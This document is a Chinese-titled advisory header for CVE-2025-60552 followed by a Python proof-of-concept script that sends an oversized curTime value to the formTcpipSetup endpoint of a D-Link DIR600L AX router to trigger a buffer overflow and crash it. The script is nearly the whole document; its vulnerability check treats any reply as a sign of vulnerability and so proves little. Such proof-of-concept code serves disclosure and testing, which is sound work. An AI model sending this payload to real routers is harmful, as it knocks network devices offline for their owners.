CVE-2025-60552 D-Link DIR600L AX 路由器 formTcpipSetup 函数缓冲区溢出漏洞

import requests # CVE-2025-60552 PoC - D-Link DIR600L Ax Buffer Overflow in formTcpipSetup # Target: D-Link DIR600L Ax FW116WWb01 # Vulnerability: Buffer overflow via curTime parameter TARGET_IP = "192.168.0.1" # Default D-Link router IP TARGET_URL = f"http://{TARGET_IP}/formTcpipSetup" def exploit_buffer_overflow(): """ PoC for CVE-2025-60552 This demonstrates the buffer overflow vulnerability in formTcpipSetup function via the curTime parameter. """ # Create a payload with excessive length to trigger buffer overflow # The exact overflow length may vary based on firmware version overflow_length = 1024 # Adjust based on actual buffer size malicious_payload = "A" * overflow_length # Construct the exploit request # The curTime parameter is vulnerable to buffer overflow data = { "curTime": malicious_payload, "submit": "Submit" } try: print(f"[*] Sending exploit payload to {TARGET_URL}") print(f"[*] Payload length: {len(malicious_payload)} bytes") # Send the malicious request response = requests.post(TARGET_URL, data=data, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] If vulnerable, the router may crash or become unresponsive") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def check_vulnerability(): """ Check if the target is vulnerable to CVE-2025-60552 """ # Small test payload to check for vulnerability indicators test_payload = "A" * 100 data = {"curTime": test_payload} try: response = requests.post(TARGET_URL, data=data, timeout=10) # If we get a response without error, the parameter is processed # Further analysis needed to confirm vulnerability return True except: return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-60552 D-Link DIR600L Ax Buffer Overflow PoC") print("=" * 60) # Check vulnerability if check_vulnerability(): print("[*] Target appears to be running the vulnerable service") # Uncomment to actually exploit # exploit_buffer_overflow() else: print("[-] Target does not appear vulnerable or is unreachable")